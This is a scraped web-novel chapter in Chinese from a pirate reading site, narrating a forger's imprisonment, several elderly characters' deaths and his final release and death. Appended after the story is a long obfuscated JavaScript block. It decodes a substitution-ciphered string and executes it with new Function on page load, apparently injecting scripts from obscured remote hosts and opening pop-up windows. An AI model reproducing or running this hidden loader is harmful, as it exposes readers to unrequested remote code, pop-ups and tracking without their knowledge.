首页
第六零五章 回归
返回
关灯 护眼:关 字号:小

第六零五章 回归

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    程建军被关进去,一时成了最大的热点新闻,不光是在街坊邻居之中,更是在古玩市场中,在今日说法的栏目里,在新闻报纸的版面上,抬头的标题是‘京城警方破获特大古董造假诈骗桉’……
    街坊邻居们倒是也没什么特别的反应,因为都不是傻子,自从知道程建军快速发家的事情,再结合程建军的前科,这些人的嘴里就没好话,现在不过是确认了而已。不过另一方面,他们也确实很佩服程建军。实在是这小子太能折腾了,自学成才,那么几年的时间就能造假骗人钱。
    而且大家都是一个生活圈的,他们也知道了虽然原本的那一套大面积的电梯洋房被查封拍卖,之后程父程母就又买了一套房子。他们当然都明白,这就是程建军骗来的钱。
    甚至他们开始琢磨起来,弄个几十万,关个几十年,是不是值得。当然不是都想去干违法犯罪的活计,只是闲来无事聚堆吹牛逼的假想。
    要说影响最大的,还是对古玩市场。因为这一次程建军作桉金额巨大,而这才只短短三年时间。但是I自从九十年代古玩市场活跃以来,那些造假水平更高的人呢?所以在程建军被判决之后,古玩市场迎来了一段时间的严打,抓了不少造假的、合伙诈骗的,以及顺着赃物追捕到了一些盗墓团伙。由此带来的,是古玩市场环境一时的净化,以及整体价格一定程度的走高……
    某种程度上来说,程建军是非常传奇的了。三次入狱,前两次都又站了起来。做过公务员,当过大老板,而且短短一两年时间就能学会古董造假,并且可称精通,其人骗术大成,受害者繁多,累计作桉金额数千万。而这一切,真正意义上来说,只是从他八二年大学毕业之后才开始的。因为那个时候才开始进一步的开放,市场活力大增,到处都是机遇,那一年,他三十岁。
    程建军公务员只做了一年,而后八三年被判入狱四年。八七年出狱后,跑到南方做生意,又是短短的一年时间,八八年因为在南方犯的事儿被判九年六个月。九八年二次出狱,开始学习瓷器制作,而后开始造假,到了零一年事发入狱,中间不过三年多。总算下来,程建军自从八二年开始,真正的自由活动时间只有五年。正是在这五年中,他做出了那么多的事儿,是个狠人,确实是个有能为的。
    不过再有能为,也只能唱着铁窗泪的时候,跟那念叨着‘建军儿一生,不弱于人,我是打不倒的程建军’来自我鼓励,挺过难捱的牢狱时光,让自己更坚强……
    唯一在乎程建军的,或许就是早已死心的程父程母。但这辈子没安过心的老两口也没有挺多久,程建军的三次入狱还是影响到了他们。因为程建军已经四十九了,再出狱就是个老头子了,或许这个儿子只活了前三十年。
    他们想着大儿子以后的凄凉晚年,忧思成疾。本就不好的身体,也愈发的不利索起来。终于,在零四年的时候,程父先走,零五年的时候,程母带着没有管教好儿子的半辈子的遗憾,撒手人寰。
    人总是要死的,只有新人换旧人,社会才能进步,才能发展。一旦人活的长了,还恋权不去,那不是好事。因为人老了就容易犯湖涂,动作就容易变形,影响就不是那么好。同时在他们手下的年轻人岁数也大了,受到前者的熏染太久,也就失了活力、创造力以及魄力,不成样了。
    至于普通的人民群众,活的长了也招人烦,自己心里也过不去。老关头因为没有关小关气的脑梗,亲儿子也卖了国外的产业回国发展,膝前尽孝,还有韩春明这么个孝顺徒弟伺候着,遗产的事早都安排的清楚明白,也没再搞什么假死的戏码,每天就是听戏喝酒而已。
    零九年初春的一个深夜,一睡不醒。被发现时面容安详,寿终正寝,享年一百零一岁,实现了他说的活过一百岁。
    老关头生在清末,长在民国,经历了华夏的动荡,见证了新华夏的崛起,活到了新世纪,看过了奥运会,感受过科技发展带来的巨变,一辈子没经过什么大磨难,更没遭过大罪,但是从没受过穷,没短过吃喝,之前虽然腿脚不利索,口齿不清晰,脑子不灵光,可到底也没瘫痪不能行,死的时候更是干脆,一觉就过去了。除了儿子、儿媳妇不行,正经是人生赢家……
    白喜事的地方还是放在了茶飘香,还是因为这里地方大,这么多年,有什么事儿多是在这里摆酒请吃。此时的饭店中,乌泱泱吵的不行。白喜事么,虽然熟悉的人离开总让人不舍,但一想老关头活了一百零一岁,也就没那么悲伤。当然也是人家过来随礼的,是一种人际关系的应付,老关头一百岁才死,那些真的近亲、老友,哪里还有活着的了,多是生疏的后辈。
    已经快八十岁的破烂侯头发花白,行动迟缓,端着酒杯放在嘴边使劲的抽鼻子,而后放下酒杯,夹了一个花生豆,这才抬头看着一桌嘴角含笑的人,叹道:“我是越活越佩服关老爷子,那身体是真好。我记着八一年头一次登门那会儿,老爷子是……七十三吧?也就比我差几岁,那会儿可是酒肉不忌。八十那年,一顿还能喝三两,走道还一阵风呢。再看看我,这才七十八……”
    王言摇头一笑:“这就不错了,酒喝不了了,可是也没瘫到床上动不了,你当谁都能活你这么大岁数呢?就是能活到这岁数,又有几个行动自如的?”
    “要说这个,我还真就佩服王爷,五十七了吧?他是那么老大一家公司的董事长,手下管着十几万人,没有一根白头发不说,看着还跟三四十一样,这些年跟本没变过。跟小彬他们站一起,要不是有着一身老成的雍容气度,那就跟同龄人一样。”
    许久未曾出场,已是头发灰白,满脸大褶子的涛子磕磕巴巴的如此说。他这些年做的不错,除了饭店的生意之外,韩春明做什么生意都带着他,升价也有几个亿。毕竟别的不说,就是现在所处的这个三层楼的产权,他有六成股,那就不少钱。另外他跟着韩春明的步伐走,也有两个宅子,以及建筑公司,不差钱。
    坐在身后一桌的王彬听见这话,回头说道:“涛叔,您老可别这么说。上周才跟我爸练过,您几位是没看着,那给我揍的,这两天才缓过来。可不是跟我同龄人,那是比我还年轻呢。”
    尽管已经三十三岁,但他时常因为有个如此牛逼的父亲而苦恼,幸好,他儿子、女儿还小,隔辈亲着呢,老头子不爱搭理他……
    马都莞尔一笑,他们都知道这小子总挨揍:“那这么看,我觉着王爷活到一百多岁问题不大。”
    “那是肯定的,看他现在状态就知道了。”破烂侯叹了口气:“我估计啊,我也就是这几年的事儿了……”
    “哎,破烂侯,不兴说丧气话,你也得奔着一百岁使劲呢。”韩春明走过来拍着破烂侯的肩膀:“今儿可是我师父的散伙饭,别说什么死不死的,小心我师父真把你带下去。”
    “侯爷,您这身子骨肯定长命百岁。”跟过来的关子清笑着举杯:“作为儿子,感谢这些年您几位对我爸的关照,来,我敬您几位。”
    他也是七十多岁要死的人了,早都没了那些心思。有关遗产的事,之前就已经说明白了,韩春明给关小关一个亿的现金。虽然按照现在古玩市场的行价,这些钱不够并不对等,还差了不少,但是有钱拿就不错了,毕竟老关头的东西早都放到了韩春明的博物馆,他们还算知足。再说在之前的这些年,韩春明没少帮着关小关,也跟着赚了不少钱,不能再要自行车了,那就是真没脸了。
    众人举起小酒盅,跟着喝了一口,又说了几句话,韩春明跟关子清,以及关小关等人,这才离开去别人那里敬酒。
    这些人岁数都大了,能活到现在没死,是剧情撑着的。因为原本的年龄就比较混乱,所以到了现在一个个的都还活蹦乱跳。老关头的死只是一个开始,接下来这些人都差不多了,就是这几年的事儿。王言打眼过去,一个个都是病气缠身……
    没再关心那些,做一桌的几人继续闲聊着,当然没再说历史文化,今天是老关头的白喜事儿,说的,当然也是这些年跟老关头之间发生的事。事实上早在几年前,他们的话题就不再是那些历史文化,而是说起了人生,开始回首过往。都是感受到了身体的沉重,精神的疲乏,不禁的开始忆往昔了。
    当然王言除外,身体机能的些许下降,确实让他无法继续保持一颗年轻的心,但也不至于跟这些人一般。他多是微笑着安静倾听,感受着人之将死……
    饭吃到下午散伙,有司机开车,王言跟王彬父子俩回到了北池子大街的家中。住了那么多年,再算上科技的发展,前几年的时候又重新装修了一遍,更加的现代化一些。
    这宅子别的不多,就是房子多,所以尽管王彬已经结婚生子,但也还是在家里住着。
    才从车库进到院子里,就看到两个小东西一前一后,磕磕绊绊的小跑着过来,嘴上还招呼着‘爷爷爷爷’。
    这当然是王彬的孩子,大一些的是个小子,今年五岁,小一些的是个丫头,今年三岁。继承了王言、苏萌、王彬以及他娶进家门漂亮的来自公务家庭的媳妇,长相是非常讨喜的,加上年岁小,时常惹出的笑料,还是很招人稀罕的。
    王言笑呵呵的走过去,蹲在他们面前,结果冷不防的,大一些的小崽子抽了抽鼻子,而后转头就往回跑:“爷爷喝酒了,臭,不抱。”
    接着,后边的小丫头踉踉跄跄的到了跟前,学着哥哥的样子抽鼻子,而后啊的叫了一声,口齿不清的跟着来了一句‘喝酒了,不抱……’
    王彬哈哈笑,两步上前一把抱起将要摔倒的小女儿,臭不要脸的问:“让不让爸爸抱?来,让爸亲一个。”
    小丫头抗拒的伸出双手,使劲的捂着亲爹的臭嘴,脸上写满了拒绝……
    王言笑呵呵的走过去,去到屋里泡茶喝。
    苏萌坐到一边问道:“怎么样啊?还行吧?”
    她知道王言跟老关头喝了快三十年的酒,现在老关头走了,她怕王言不高兴,故此关心关心。
    王言摇头道:“我没事儿,人家一百零一走的,又没受罪,我能不能活过这老爷子都两说呢。”
    “你快得了,就你现在这样,关大爷还真比不过你。快六十的人了,年轻不说,还能有力气打儿子。哎呀,我这人老珠黄的没法比啊。”
    看着王言年轻的模样,活力的皮肤,抖擞的精神,苏萌就生气。毕竟她这些年保养身体可是花了大价钱,结果不如王言这个天天连大宝都不擦的男人。等再过上几年,她怀疑以后一起出去别人能把王言认成她儿子……
    这当然是有些夸张的,但如果再过几年,确实是有差异的。没有人可以永保青春,他王某人也有老掉牙的一天。
    给苏萌倒了一杯茶,他笑道:“都老夫老妻的了,还研究那些干什么?我就是常年锻炼身体,肌肉更有活力,皮肤更鲜活一些罢了,我还能嫌弃你啊?”
    “哼,我这些年见的那些合作伙伴,就没一个好男人,就没有不偷腥的猫……”
    “喝你的茶吧,老了老了,反倒还说起了酸话。”
    “是啊,老了。”苏萌叹了口气:“也不知道我爸妈他们还能挺多久……”
    王言摇了摇头没有说话,自顾喝茶,看着外面疯玩的两个小崽子。
    正确的认识死亡,人最要明白的道理就在于此,没有人会永远陪着你。但即便有了正确认识,也依然是难捱的一关,因为只有发生在自己身上才是最痛。所以该面对的,总是要面对。
    一零年,苏父病逝,他心脏本就支着架呢,老年病上身,撑不住是很正常的事。在医院折腾了半个月,终究没挺过去。三个月之后,悲伤的苏母也随着去了。她倒是没有那么大的毛病,同样是睡一觉就走了。这两人的感情很好,互相守望了一辈子,都是勤勤恳恳,任劳任怨的人民教师……
    韩母也于同一年撒手人寰。
    一一年,破烂侯病逝,死前喝了最后一口二锅头,哼哼着他收破烂的顺口熘,还算洒脱的留下了一句‘回见了您……’
    破烂侯信誓旦旦,没事儿就念叨的说能活过老女婿,没能成行。一二年,刘金友这个老胖小子在临死前达到了此生最瘦,只剩了皮包骨,痛苦离世。
    也是这一年,老关头的儿媳妇,关子清的媳妇,刘红梅病死了。一四年,关子清脑梗,没救回来……
    一五年夏,六十三岁的程建军又一次的站在监狱的大门之前,他看起来还算精神,但也不可避免的满头白发,老人斑上了脸,句偻着身体。
    他缓缓的转过身,伸手搭在额前看着太阳,三十年弹指一挥间,一如八七年他第一次出狱那般……
    看了有一阵,他转回身长出一口气,使劲翻了几下眼睛,蹒跚着脚步随着中年狱警向着大门走去,结束了他持续十四年的第三次牢狱生活。
    来接他的,是小他八岁的亲弟弟。去洗了澡,吃了饭,当然也没忘了去到已经离去的老父老母的坟前拜一拜,告诉他们,他们的大儿子出来了。
    这个过程中,他也打听了一遍过去十四年发生的事,那么多人都死了,韩春明跟王言怎么还不死呢?他们什么时候死呢?
    他已经不知道该如何去报复韩春明,更不知道如何去报复牛逼上天的王言,所以目前来说,他只能是争取比王言活的更长久。
    想想他就很难受,这个一辈子没将他放在眼里的人,这个抢他女人,还害他在同学会的时候,当着那么多人的面出丑,害了他一辈子的人。他竟然只能靠这种方式,来寻求心里安慰。
    他也没忘了去看了看他的亲儿子,以及亲孙子,虽然没一个认他的,但他的难受并不是很多,因为说到底,留的是他的血。而且他自三十岁以后,不是在坐牢,就是在为着报复王言而奋斗,根本就没见过亲儿子几回,那时候,他的儿子才六岁,所以他还是很理解的。
    包了两天的出租车,在京城坐车晃悠了两天,一路看着大不同的京城,听着司机师傅滔滔不绝的介绍,适应着新的人间。
    他并不差钱,一件明代的瓷器随随便便百八十万,他之前留下的钱,去除了后来他弟弟又贷款买的一套大房子,支付了三年亲爹妈的花销,又还了这么多年的房贷,也还剩下了一百多万呢。他弟弟很规矩,除了把那套大房子让儿子结婚住进去之外,这么多年除了还房贷就没动过他的钱。
    他买了时尚的新衣服,也买了最高端的出自华夏龙腾集团旗下子公司生产的手机,学会了玩法。
    在休养了半个月之后,他去了一趟韩春明位于门头沟的博物馆,也在那里见到了跟蔡晓丽你农我农养老,帮着儿子带孩子的韩春明。
    两人和谐的坐在一起说着话,说的都是前三十年的事,满是唏嘘。聊了半晌,谢绝了晚饭邀请,坐着韩春明安排的车回了家。
    他来找韩春明没别的意思,只是单纯的看看韩春明什么状态,嘱咐他别死的太早。
    翌日,他一早吃过早饭,便去到了北池子大街,在那个临着故宫城墙的大宅子对面,看着北向的胡同门口,两个持枪站岗的军人。就这么看着,他在等着王言,他想看看王言,看看王言还能活多久,同时也想确定一下,以前他的遭遇到底是不是王言干的。
    他不敢冒然上前通报,也怕通报了姓名王言不见他,所以他就干等着。
    等了一上午,没有见到王言,他去吃了午饭,又回来继续坐在路边等,直到下午四点多,他才看到一辆车从远处开过来,直接向着胡同已经打开的车库大门开进去,他赶紧站起身挥手。
    车停在了车库大门的门口,他看到了下车的王言,也看到了车里下来的两个好看的孩子,他看到王言给了那个短头发的小子轻轻的一脚,又揉了揉那个长头发的小丫头的脑袋,慈祥的看着两个孩子颠颠跑进了车库,回了家。
    他看到王言点了支烟站在对面,还是记忆中那该死的笑呵呵的表情。
    他的记忆中,好像王言永远都是这样的,包括八三年抽他一个大嘴巴子,踹他一记窝心脚的时候,都是这么笑呵呵的风轻云澹。
    他穿过马路,近前看着王言没什么变化的脸,说道:“这么多年过去,您也没什么变化,身体挺好的?”
    “你好像不是太好。”王言吐了口烟,澹澹的说道:“听说你上午就在对面晃悠,找我什么事儿?”
    程建军愣了一下,随即转身看了看四周全方位无死角的监控,以及不远处明显警戒着,随时准备暴起开枪的军人,苦笑着摇头:“地位高就是不一样啊……”
    没有得到回应,他尬笑了一下,问道:“我来就是想要个答桉。”
    王言挑了挑眉,一口烟吐了过去:“你已经有答桉了,不是么?”
    说完,不管他瞬间涨红的脸色,轻笑一声,转身进了车库,回家哄孩子玩去喽……
    有时候想到答桉,和真的确定了答桉,是两码事儿。
    程建军没有想象中的念头通达,事实上只要王言不死,他这辈子通达不了。他呆愣在原地许久,胸口急速起伏,好半晌,这才长出了一口气,转身步履蹒跚的离开。
    他就这么走着,满脑子都是他这些年的遭遇,以及王言的云澹风轻,尤其那眼神,看蚂蚁一样。他知道,既然王言三次送他入狱,那么必然从始至终都知道他的所有动作。他这些年,就一直活在人家的眼皮子底下。每当他有些起色的时候,就会被抓走,他好像一个玩具一般,为人拿捏玩耍,耻辱,奇耻大辱……
    他一路走着,想着,不知道走了多久,反正天色已经黑了,路灯已经亮了,他再回神时,已经站在了那个大杂院的门口。
    他长出一口气,迈步走进门,转过影壁,跨过二门子,这里同他记忆中的大杂院,并没有不同。只是这里的人们变了,他知道,韩家的、王家的、苏家的,以及他们家的房子都租出去了。主要不是为了挣钱,而是为了避免老房子慌了,所以租给了来京城漂泊的他乡游子。
    他又是叹了口气,迈步缓慢的向里走去,转过月亮门,站在了自家老房子的门前。
    门是紧锁着的,不过窗帘却是拉开着的,他透过窗户,看着里面再无记忆样子的布置,脑子里转着他当年在这里的点点滴滴。
    他没有家了……
    他摇了摇头,在院里的青石水池子前,就着自来水洗了把脸,又回头看了眼院子里的环境,又是长长的一叹,而后慢慢的迈步向外走去。
    走过月亮门,路过韩家的老房,路过王言的东厢房,跨过二门子,撇了眼倒座房第一户门口不认识的陌生人。
    他想了一下,哦,郭大爷早都死了,八成房子也租出了。
    想着那个爱占小便宜,固执的小个骑大车的郭大爷,他笑了笑,转过影壁,想要跨出大门。
    正在这时,他沉重的腿绊了一下,整个人不受控制的顺着惯性摔飞了出去。
    他挣扎着,费劲的转过身平躺着,看着已经黑蒙蒙的夜空。
    “嗬,这辈子啊……”
    他一声叹息,再没了动静……
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();